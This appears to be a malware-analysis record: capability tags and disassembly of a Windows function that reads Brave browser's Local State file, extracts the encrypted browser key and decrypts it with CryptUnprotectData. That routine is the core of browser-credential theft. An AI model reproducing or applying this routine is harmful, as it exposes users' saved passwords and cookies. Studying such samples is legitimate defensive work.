Function at 0x140004fd0
Capabilities:
Encrypt data using dpapi
Get common file path
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xd8
lea rax, str.BraveSoftwareBrave_BrowserUser_DataLocal_State
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x40], 0
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400df860]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1400052bd
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x1400052b2
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x40]
lea r8, [0x1400d72b8]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x58]
call fcn.1400c2880
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0xffffffffffffffff
je 0x1400052a7
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0xffffffff
je 0x14000529c
mov eax, dword [rsp + 0x68]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x14000529c
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x68]
cmp dword [rsp + 0x48], eax
jne 0x140005291
mov qword [rsp + 0x78], 0
lea rdx, [0x1400d72c8]
mov rcx, qword [rsp + 0x70]
call fcn.14000b6b0
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
je 0x140005291
lea rdx, [0x1400d72d8]
mov rcx, qword [rsp + 0x78]
call fcn.14000b6b0
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
je 0x140005291
mov rax, qword [rsp + 0x80]
add rax, 0x11
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x88], 0
movsxd rax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
movsx eax, byte [rcx + rax]
cmp eax, 0x22
je 0x1400051a1
mov eax, dword [rsp + 0x88]
inc eax
mov dword [rsp + 0x88], eax
jmp 0x140005176
lea r8, [rsp + 0x98]
mov edx, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call fcn.1400bf780
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x140005291
mov rax, qword [rsp + 0x90]
add rax, 5
mov qword [rsp + 0xb0], rax
mov eax, dword [rsp + 0x98]
sub eax, 5
mov dword [rsp + 0xb8], eax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xb8]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov rcx, qword [rsp + 0x90]
call fcn.1400c30e8
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0xe0]
mov ecx, dword [rsp + 0xa0]
mov dword [rax], ecx
mov rax, qword [rsp + 0xa8]
jmp 0x1400052bf
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
add rsp, 0xd8
ret